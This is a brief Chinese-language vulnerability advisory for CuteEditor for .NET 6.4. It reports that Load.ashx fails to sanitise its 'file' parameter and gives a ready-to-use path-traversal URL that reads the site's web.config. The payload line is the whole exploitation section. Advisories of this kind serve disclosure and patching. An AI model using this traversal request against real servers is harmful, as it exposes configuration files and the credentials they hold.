影响版本:
CuteEditor For Net 6.4

程序介绍:

CuteEditor for ASP.NET是建立在Html基础之上，最简单易用、功能最强大的所见即所得Asp.net在线编辑器。

漏洞分析:

在 Load.ashx 文件中未对file参数进行处理，可以加载任意文件。

漏洞利用:

http://www.xxxxx.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config